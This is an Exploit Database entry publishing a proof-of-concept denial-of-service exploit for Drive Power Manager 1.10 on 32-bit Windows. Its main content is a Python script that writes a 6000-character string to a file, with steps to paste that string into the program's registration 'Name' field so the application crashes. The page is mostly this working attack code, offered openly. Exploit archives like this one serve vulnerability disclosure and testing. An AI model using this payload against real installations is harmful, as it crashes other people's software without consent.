



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

# Drive Power Manager 1.10 - Denial Of Service (PoC)

**EDB-ID:**

45299

**CVE:**

N/A

**EDB Verified:** 

**Author:**

[GIONATHAN REALE](#)

**Type:**

[DOS](#)

**Exploit:**  

**Platform:**

[WINDOWS\\_X86](#)

**Date:**

2018-08-29

**Vulnerable App:**





EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPOILT MANUAL



SUBMISSIONS



ONLINE TRAINING

```
# Exploit Title: Drive Power Manager 1.10 - Denial Of Service (PoC)
# Author: Gionathan "John" Reale
# Discover Date: 2018-08-29
# Homepage: https://www.hdtune.com/
# Software Link: https://www.hdtune.com/download.html
# Tested Version: v1.10
# Tested on OS: Windows 7 32-bit
# Steps to Reproduce: Run the python exploit script, it will create a new
# file with the name "exploit.txt". Copy the content of the new file
# "exploit.txt".
# Now start the program. Now in the field named: "Name" paste the
# "exploit.txt" content copied eariler.
# Click "Register" and see a crash!
```

```
#!/usr/bin/python
```

```
buffer = "A" * 6000
```

```
payload = buffer
```

```
try:
```

```
    f=open("exploit.txt","w")
```

```
    print "[+] Creating %s bytes evil payload.." %len(payload)
```

```
    f.write(payload)
```

```
    f.close()
```

```
    print "[+] File created!"
```

```
except:
```

```
    print "File cannot be created"
```

Tags: [Denial of Service \(DoS\)](#)

Advisory/Source: [Link](#)



Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)[PRIVACY](#)[ABOUT US](#)[FAQ](#)[COOKIES](#)

[OffSec Services Limited](#) 2026. All rights reserved.